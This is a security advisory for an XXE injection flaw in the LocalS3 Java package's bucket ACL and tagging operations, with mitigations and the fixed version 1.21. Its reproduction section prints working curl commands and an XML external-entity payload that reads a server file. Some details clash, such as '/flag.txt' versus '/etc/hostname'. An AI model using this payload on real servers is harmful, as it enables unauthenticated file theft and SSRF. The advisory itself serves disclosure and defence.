GHSA-2466-4485-4pxj LocalS3 Project Bucket Operations Vulnerable to XML External Entity (XXE) Injection

Not scored Published 10 Mar 2025

An attacker can exploit XXE in LocalS3 bucket operations to read arbitrary server files or cause denial of service without authentication.

Exploited in the wild: Not known
Login needed: Not needed
Attackable: Over the internet
Victim action needed: Not needed
Fix: Available

What is GHSA-2466-4485-4pxj?

GHSA-2466-4485-4pxj is a vulnerability in io.github.robothy:local-s3-rest, published on 10 Mar 2025. An attacker can exploit it over the internet without logging in, with no action from the victim.

Official description

Description

The LocalS3 project contains an XML External Entity (XXE) Injection vulnerability in its bucket operations that process XML data. Specifically, the vulnerability exists in the bucket ACL and bucket tagging operations. The application processes XML input without properly disabling external entity resolution, allowing an attacker to read arbitrary files from the server's filesystem.

The vulnerability occurs because the XML parser used by the application processes DOCTYPE declarations and allows external entity references. When processing bucket ACL or tagging operations, the application includes the content of external entities in its response, effectively exposing sensitive files from the server.

This type of vulnerability can be exploited to read sensitive files, perform server-side request forgery (SSRF), or potentially achieve denial of service through various XXE attack vectors.

Steps to Reproduce

Create a test bucket using PUT request to http://[server]/[bucket-name]
```
curl -X PUT &#34;http://app/xxe-test-bucket2&#34;```
```

Send a PUT request to http://[server]/[bucket-name]?acl with the following XXE payload:

curl -X PUT &#34;http://app/xxe-test-bucket2?acl&#34; \
-H &#34;Content-Type: application/xml&#34; \
-d &#39;&lt;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34;?&gt;
&lt;!DOCTYPE AccessControlPolicy [
    &lt;!ENTITY xxe SYSTEM &#34;file:///etc/hostname&#34; &gt;
]&gt;
&lt;AccessControlPolicy&gt;
    &lt;Owner&gt;
        &lt;ID&gt;&amp;xxe;&lt;/ID&gt;
        &lt;DisplayName&gt;test&lt;/DisplayName&gt;
    &lt;/Owner&gt;
    &lt;AccessControlList&gt;
        &lt;Grant&gt;
            &lt;Grantee xmlns:xsi=&#34;http://www.w3.org/2001/XMLSchema-instance&#34; xsi:type=&#34;CanonicalUser&#34;&gt;
                &lt;ID&gt;test&lt;/ID&gt;
                &lt;DisplayName&gt;test&lt;/DisplayName&gt;
            &lt;/Grantee&gt;
            &lt;Permission&gt;FULL_CONTROL&lt;/Permission&gt;
        &lt;/Grant&gt;
    &lt;/AccessControlList&gt;
&lt;/AccessControlPolicy&gt;&#39;

Send a GET request to http://[server]/[bucket-name]?acl to retrieve the bucket ACL
```
curl &#34;http://app/xxe-test-bucket2?acl&#34;
```

After performing these steps, the content of the target file (/flag.txt in this case) will be included in the response within the ID field of the Owner element.

Mitigations

Configure the XML parser to disable external entity resolution by setting XMLConstants.FEATURE_SECURE_PROCESSING to true
Disable DOCTYPE declarations in the XML parser configuration
Implement XML input validation and sanitization before processing
Consider using JSON instead of XML for these operations if XML parsing is not strictly necessary

Impact

The vulnerability requires no authentication and can be exploited by any user who can make HTTP requests to the server. It allows reading arbitrary files from the server's filesystem, which could expose sensitive configuration files, credentials, or other confidential information. The vulnerability can also be used to perform SSRF attacks against internal systems.

Which versions are affected by GHSA-2466-4485-4pxj?

2 open source packages ship an affected version, including io.github.robothy:local-s3-rest.

Package	Affected	Fixed in
`io.github.robothy:local-s3-rest` Maven	All versions	`1.21`
`io.github.robothy:local-s3-rest` Maven	All versions	`1.21`

How do I fix GHSA-2466-4485-4pxj?

Upgrade io.github.robothy:local-s3-rest to 1.21 or later.

Is GHSA-2466-4485-4pxj being exploited?

There is no known exploitation of GHSA-2466-4485-4pxj in the wild and no public exploit code.